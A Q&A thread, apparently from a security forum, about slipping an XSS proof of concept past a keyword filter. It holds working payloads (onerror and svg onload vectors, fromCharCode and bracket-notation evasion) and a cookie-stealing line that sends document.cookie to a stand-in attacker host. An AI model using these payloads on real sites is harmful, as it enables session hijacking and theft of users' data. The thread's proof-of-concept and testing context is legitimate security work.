I have come across a field that is vulnerable to XSS. It accepts and tags however keywords script,alert, msgbox, prompt are blocked. I have tried every encoded version of these keywords but its not working.

Is there any way that i can show a POC (XSS popup) without using the above keywords.

I successfully injected a frame and cookies are also not HTTP-only.

  • Nope..its blocked... used the following script "/><img src=x.gif onerror=confirm(1)>
    Commented Jul 17, 2013 at 13:11
  • What if you segment the function name as concatenated strings in bracket notation, e.g., onerror="window['al'+'ert'](1)"? (The strings could optionally be stored in variables.) Or is the alert function itself somehow disabled or overwritten? (In that case, delete window['al'+'ert'] should restore it in most browsers.)
    – apsillers
    Commented Jul 17, 2013 at 13:18
  • conactenation doesnt work..i didnt get the delete window part
    Commented Jul 17, 2013 at 13:24
  • Hey, i did it just some more help... i loaded a localhost with script embedded in iframe... how can i access the parent cookie from the loaded iframe.
    Commented Jul 17, 2013 at 13:30
  • An attacker would want his attack to be as unnoticeable as possible. An alert is pretty much the worst choice when trying to be unnoticed as it literally jumps into the victim’s face.
    – Gumbo
    Commented Jul 17, 2013 at 16:49

2 Answers 2


No attacker will ever use alert(), checking for this within an attack string is more than just a waste of time, it shows that the developer doesn't understand how software is attacked.

You could show a real world attack, where you read a CSRF token or the document.cookie value:

document.write("<img src=http://attacker/cookie_theif?c="+document.cookie+" />")

You could also rewrite the page, this could be used to turn the page into a phasing page:

<img src=x onerror=confirm(String.fromCharCode(88,83,83))>

If the site use SVG as images you can use this one:

<svg onload=prompt(1)>

No <script>, alert, msgbox, and or prompt word needed.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .